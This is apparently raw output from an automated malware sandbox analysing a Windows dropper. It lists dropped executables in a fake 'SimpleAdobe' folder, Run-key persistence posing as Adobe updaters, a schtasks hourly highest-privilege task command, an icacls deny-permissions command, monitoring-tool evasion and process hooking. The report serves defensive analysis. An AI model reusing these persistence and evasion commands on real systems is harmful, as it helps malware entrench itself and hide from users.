Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-2FJL8.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\default_s[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\oiii[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-3LABF.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	File created: C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	File created: C:\Users\user\AppData\Local\Temp\eKhLlZQ.cpl	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	File created: C:\Users\user\AppData\Local\Temp\kat806.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\Retailer_prog[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-JE3T2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-BEO98.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\timeSync[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\mousehelper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\Qt5WinExtras.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\Qt5Svg.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-KQVQS.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Jump to dropped file

Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe	File created: C:\ProgramData\JANA timezone 2.12.66\JANA timezone 2.12.66.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	File created: C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe

File created: C:\Users\user\AppData\Local\Temp\eKhLlZQ.cpl

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Memory written: PID: 5372 base: 7FF8C8A50008 value: E9 EB D9 E9 FF
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Memory written: PID: 5372 base: 7FF8C88ED9F0 value: E9 20 26 16 00

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

Code function: 7_2_004039C9 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

7_2_004039C9

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\cd606818-a84b-463e-828b-b93214ba547c" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
